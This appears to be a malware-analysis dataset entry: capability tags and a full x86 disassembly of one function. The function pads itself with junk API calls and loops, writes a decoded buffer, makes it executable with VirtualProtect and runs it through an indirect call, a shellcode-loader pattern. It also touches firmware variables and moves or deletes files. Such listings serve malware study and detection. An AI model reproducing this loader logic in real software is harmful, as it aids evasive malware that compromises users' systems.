Function at 0x4036a0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Delete directory
Execute shellcode via indirect call
Get common file path
Get file attributes
Manipulate console buffer
Move file
Resolve function by parsing pe exports
Set uefi variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x459b26
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1480
call fcn.0040cc10
push ebx
push ebp
push esi
xor ebp, ebp
cmp dword [0x4c822c], 0xac
push edi
jne 0x403819
push ebp
lea eax, [esp + 0x494]
push eax
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push ebp
lea ecx, [esp + 0xe0]
push ecx
push ebp
push ebp
push 0x402c24
push ebp
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
lea edx, [esp + 0xac]
push edx
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x28]
push ecx
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebp
push ebp
lea edx, [esp + 0xc98]
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
mov dword [esp + 0xd8], 0xf
mov dword [esp + 0xd4], ebp
mov byte [esp + 0xc4], 0
push ebp
mov dword [esp + 0x14a0], ebp
call fcn.00405533
add esp, 4
call fcn.00404b43
push 1
push 0x45be60
lea ecx, [esp + 0xbc]
call fcn.004055cb
lea ecx, [esp + 0xb4]
mov dword [esp + 0xb4], 0x401254
call fcn.00405645
push ebp
call fcn.00405786
add esp, 4
push ebp
call fcn.00405757
add esp, 4
push ebp
push ebp
call fcn.0040576d
push ebp
push ebp
call fcn.004058d7
add esp, 0x10
call fcn.0040541c
lea eax, [esp + 0x110]
push eax
call fcn.00404910
lea ecx, [esp + 0x110]
mov dword [esp + 0x110], 0x402d7c
mov dword [esp + 0x14c], ebp
mov dword [esp + 0x150], ebp
mov byte [esp + 0x149c], 0
call fcn.004042f0
mov dword [esp + 0x149c], 0xffffffff
cmp dword [esp + 0xd8], 0x10
jb 0x403819
mov ecx, dword [esp + 0xc4]
push ecx
call fcn.004058fe
add esp, 4
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthI]
xor esi, esi
cmp esi, 0xd2bc
jge 0x403845
push ebp
lea edx, [esp + 0xc94]
push edx
call edi
push ebp
lea eax, [esp + 0x18]
push eax
push ebp
push ebp
push ebp
call ebx
inc esi
cmp esi, 0x139d6
jl 0x403827
add dword [0x4c822c], 0x11b1b
call fcn.00403680
mov edx, dword [0x4c822c]
mov eax, dword [0x4c5138]
lea ecx, [esp + 0x28]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov dword [esp + 0x10], eax
cmp dword [0x4c822c], ebp
jbe 0x403935
mov edi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov ecx, dword [0x4c8bcc]
mov dl, byte [ecx + eax + 0x11b1b]
mov ecx, dword [0x4c5138]
mov byte [ecx + eax], dl
cmp dword [0x4c822c], 0xa8
jne 0x403922
push 0
push 0
push 0
push 0
call edi
push 0
push 0
call ebx
push 0x402c44
call ebp
lea edx, [esp + 0x378]
push edx
call esi
lea eax, [esp + 0x158]
push eax
call esi
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
lea edx, [esp + 0x24]
push edx
push 0
lea eax, [esp + 0x28]
push eax
push 0
mov dword [esp + 0x38], 0
call dword [sym.imp.KERNEL32.dll_BackupRead]
push 0x402c64
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
mov eax, dword [esp + 0x10]
inc eax
mov dword [esp + 0x10], eax
cmp eax, dword [0x4c822c]
jb 0x4038a1
xor ebp, ebp
mov esi, dword [sym.imp.KERNEL32.dll_CommConfigDialogW]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
mov ebx, dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
xor eax, eax
mov dword [esp + 0x14], eax
mov ecx, dword [0x4c822c]
add ecx, eax
cmp ecx, 0xe
jne 0x403a14
push 0x30
lea edx, [esp + 0xe4]
push 0
push edx
mov dword [esp + 0xe8], 0
call fcn.00407620
add esp, 0xc
lea eax, [esp + 0xdc]
push eax
push 0
push 0x402c6c
call esi
push 0
lea ecx, [esp + 0x1c]
push ecx
call edi
push 0
push 0
push 0
call ebp
push 0
push 0
push 0
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_DebugBreak]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
xor eax, eax
xor edx, edx
mov word [esp + 0x10], dx
mov word [esp + 0x12], ax
mov ecx, dword [esp + 0x10]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
lea edx, [esp + 0x158]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov eax, dword [esp + 0x14]
inc eax
cmp eax, 0x4f95a3
mov dword [esp + 0x14], eax
jl 0x403953
mov edi, dword [sym.imp.GDI32.dll_SelectPalette]
mov esi, 0x4f4
nop
push 0
push 0
push 0
call edi
sub esi, 1
jne 0x403a30
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
cmp esi, 0x3ba47de
jge 0x403e4a
mov dword [esp + 0xa8], 0x45163432
mov dword [esp + 0x3c], 0x365f6e7c
mov dword [esp + 0x6c], 0x1c9f8f9e
mov dword [esp + 0x88], 0x5fa72fdc
mov dword [esp + 0x18], 0x1d0c749
mov dword [esp + 0x84], 0x4f80fefc
mov dword [esp + 0x38], 0x4c0c1ba7
mov dword [esp + 0x94], 0x109ac3ac
mov dword [esp + 0x68], 0x1cfe86f0
mov dword [esp + 0x80], 0x4ff77d0a
mov dword [esp + 0x50], 0x1d066b66
mov dword [esp + 0xa0], 0x730e096d
mov dword [esp + 0x14], 0xf8da946
mov dword [esp + 0x48], 0x2b453a2c
mov dword [esp + 0x34], 0x196fddf2
mov dword [esp + 0x8c], 0x579cd831
mov dword [esp + 0x2c], 0x594610ff
mov dword [esp + 0x64], 0x4c24cf86
mov dword [esp + 0x30], 0x38f38c7d
mov dword [esp + 0x20], 0x42509c7f
mov dword [esp + 0x78], 0x6c728c2e
mov dword [esp + 0xa4], 0x5f0b9dc5
mov dword [esp + 0x7c], 0x3de54433
mov dword [esp + 0x90], 0x4d6a35bd
mov dword [esp + 0x24], 0x701a6f09
mov dword [esp + 0x5c], 0x3de7c98d
mov dword [esp + 0x58], 0x70f432cb
mov dword [esp + 0x60], 0x553c193
mov dword [esp + 0x10], 0x460019d7
mov dword [esp + 0x1c], 0x1d71183f
mov dword [esp + 0x98], 0x350fe109
mov dword [esp + 0x4c], 0x750b4476
mov dword [esp + 0xac], 0x7c9ab592
mov dword [esp + 0x40], 0x447a45e
mov dword [esp + 0x70], 0xd51ab
mov dword [esp + 0x54], 0x231131a9
mov dword [esp + 0x74], 0x354406f6
mov dword [esp + 0x44], 0x1ce54cc2
mov dword [esp + 0x9c], 0x7da4391a
add dword [esp + 0xa8], 0x1c00533b
sub dword [esp + 0x3c], 0x506befb3
sub dword [esp + 0x3c], 0x47ff376b
sub dword [esp + 0x88], 0x1364af7e
add dword [esp + 0x3c], 0x1ecc8725
add dword [esp + 0x6c], 0x11e9ba3a
add dword [esp + 0x18], 0x5ec6c150
mov eax, 0x2bbbdac
mul dword [esp + 0x18]
mov eax, dword [esp + 0x18]
sub dword [esp + 0x18], 0x46eb3026
mov eax, 0x310dd3e8
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
add dword [esp + 0x88], 0x26a842d7
add dword [esp + 0x3c], 0x2aeec06f
add dword [esp + 0x38], 0xcdff0fd
sub dword [esp + 0x84], 0x713b27ff
mov eax, 0x377f9670
mul dword [esp + 0x3c]
mov eax, dword [esp + 0x3c]
mov eax, 0x5d39ffcf
mul dword [esp + 0x38]
mov eax, dword [esp + 0x38]
sub dword [esp + 0x18], 0x57e748e3
add dword [esp + 0x38], 0x70063621
add dword [esp + 0x3c], 0x40855e35
add dword [esp + 0xa8], 0x5e24bdd
add dword [esp + 0x84], 0x4f300ef8
add dword [esp + 0x84], 0x1f351b75
sub dword [esp + 0x84], 0x2648746d
sub dword [esp + 0x68], 0x768f021b
add dword [esp + 0x84], 0x551251ce
add dword [esp + 0x50], 0x665e40b0
sub dword [esp + 0xa8], 0x439c32e
add dword [esp + 0xa0], 0x6f8ca1d9
sub dword [esp + 0x6c], 0x53b40143
add dword [esp + 0x88], 0x6e9692e
mov eax, 0x5bf6d3b5
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
mov eax, 0xd3430a9
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
mov eax, 0x37729c5f
mul dword [esp + 0x50]
mov eax, dword [esp + 0x50]
add dword [esp + 0xa0], 0x2cf52702
sub dword [esp + 0x68], 0x2daf2947
sub dword [esp + 0x90], 0x3fa66771
mov eax, 0x536d7bb0
mul dword [esp + 0x78]
mov eax, dword [esp + 0x78]
add dword [esp + 0x64], 0x531c4426
add dword [esp + 0x14], 0x1f35aa03
sub dword [esp + 0x34], 0x2f11117e
mov eax, 0x792c2eb0
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
add dword [esp + 0x64], 0x3291341f
sub dword [esp + 0x7c], 0x380856bc
mov eax, 0x2afe4fa3
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
mov eax, 0x3305a957
mul dword [esp + 0x3c]
mov eax, dword [esp + 0x3c]
sub dword [esp + 0x8c], 0x41897da1
sub dword [esp + 0x20], 0x5cd7e062
sub dword [esp + 0x64], 0x1adf1bc4
add dword [esp + 0x38], 0x60a46988
mov eax, 0x3b198bef
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
sub dword [esp + 0x94], 0x5b3f12a3
add dword [esp + 0x18], 0x5733f9a8
mov eax, 0x4c6bf40b
mul dword [esp + 0x30]
mov eax, dword [esp + 0x30]
mov eax, 0x5358eeda
mul dword [esp + 0x5c]
mov eax, dword [esp + 0x5c]
add dword [esp + 0xac], 0x544ac742
mov eax, 0x506480bf
mul dword [esp + 0x88]
mov eax, dword [esp + 0x88]
mov eax, 0x2f3a7ef9
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
mov eax, 0x2494800
mul dword [esp + 0x10]
mov eax, dword [esp + 0x10]
add dword [esp + 0xac], 0x3f0b950
add dword [esp + 0x98], 0x1148d0b9
sub dword [esp + 0xa0], 0x5516ae52
cmp esi, 0xbfa539
jg 0x403e5f
inc esi
cmp esi, 0x19ce67f8
jl 0x403a43
call fcn.00403560
xor edx, edx
cmp edx, 0x26
jne 0x403e70
call fcn.00403660
inc edx
cmp edx, 0x409495
jl 0x403e66
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov ebp, 0x7b
cmp dword [0x4c822c], 0x86
jne 0x403eaa
push 0
call esi
push 0
call edi
push 0
push 0
call ebx
sub ebp, 1
jne 0x403e90
mov esi, dword [sym.imp.KERNEL32.dll_HeapValidate]
mov edi, dword [sym.imp.KERNEL32.dll_ReadConsoleA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov ebp, dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableA]
mov dword [esp + 0x10], 0x180ef
nop
cmp dword [0x4c822c], 0x1f
jne 0x403f1e
push 0
push 0
push 0
call esi
push 0
lea ecx, [esp + 0x28]
push ecx
push 0
push 0
push 0
call edi
push 0
push 0
call ebx
push 0
push 0
push 0
push 0
call ebp
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProfileIntA]
push 0
push 0x402c78
push 0x402c98
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
sub dword [esp + 0x10], 1
jne 0x403ed0
push 0x402d24
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x4c5138]
mov dword [0x4c513c], eax
call eax
mov ecx, dword [esp + 0x1494]
pop edi
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret